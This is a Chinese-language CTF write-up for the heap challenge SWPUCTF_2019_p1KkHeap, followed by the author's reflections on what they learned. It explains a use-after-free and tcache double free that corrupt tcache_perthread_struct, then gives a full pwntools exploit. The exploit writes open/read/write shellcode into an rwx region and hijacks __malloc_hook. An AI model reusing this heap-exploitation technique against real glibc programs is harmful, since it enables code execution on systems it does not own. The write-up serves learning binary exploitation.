SWPUCTF_2019_p1KkHeap
安全检查
程序流程
没什么特别要看的,主要看delete函数,有uaf
漏洞利用
- 由于有uaf,所以可以通过两次free让tache变成一个循环的链表,然后把他add成负数,这样相应的tache数量就会变得很大,并且满了
- 然后指向tache_thread_struct这个结构体,因为这里存储着tache,那么我们只要控制了他,就可以对任意地址进行写入
- 程序刚开始对一个0x66660000地方进行的mmap,权限是rwx,有可执行权限,所以我们把内存申请到这里,在输入shellcraft,再劫持malloc_hook就可以运行到这,从而拿到flag
exp:
from pwn import * context.arch='amd64' #p=process('./SWPUCTF_2019_p1KkHeap') p=remote('node3.buuoj.cn',29368) libc=ELF('./libc-2.27.so') def add(size): p.recvuntil('Choice: ') p.sendline('1') p.recvuntil('size: ') p.sendline(str(size)) def show(idx): p.recvuntil('Choice: ') p.sendline('2') p.recvuntil('id: ') p.sendline(str(idx)) def edit(idx,content): p.recvuntil('Choice: ') p.sendline('3') p.recvuntil('id: ') p.sendline(str(idx)) p.recvuntil('content: ') p.sendline(content) def delete(idx): p.recvuntil('Choice: ') p.sendline('4') p.recvuntil('id: ') p.sendline(str(idx)) add(0x100) add(0x100) delete(1)#0 delete(1)#1 show(1) p.recvuntil('content: ') first_chunk=u64(p.recv(6).ljust(8,'\x00')) tache_entry=first_chunk-0x110-0x260+0x40+0x88 print hex(tache_entry) add(0x100)#2 edit(2,p64(tache_entry)) add(0x100)#3 add(0x100)#4 the point tache_entry 0x100 rwx_addr=0x66660000 edit(4,p64(rwx_addr)) add(0x100)#5 the point 0x66660000 mmap place shellcode=shellcraft.amd64.open('flag') shellcode+=shellcraft.amd64.read(3,0x66660300,64) shellcode+=shellcraft.amd64.write(1,0x66660300,64) edit(5,asm(shellcode)) delete(0) show(0) main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) libc_base=main_arena-0x3ebca0 malloc_hook=libc.symbols['__malloc_hook']+libc_base edit(4,p64(malloc_hook)) add(0x100)#6 edit(6,p64(rwx_addr)) add(0x100) #gdb.attach(p) p.interactive()
总结
- 本题让我学到新的漏洞利用思路,原来并不一定要控制好tache的entry,原来可以控制tache_thread_struct里任意一个成员的entry,这样利用是我第一次见到,以前也没去扩展的思考过
- 其次是看了别人的博客https://blog.csdn.net/github_36788573/article/details/103475238才会写这道题的,发现这里有沙箱,这也是我没接触过得,需要去补充,并且需要写一篇博客来补充
- 这道题属于需要再次学习的题,来真正把这道题的知识点弄懂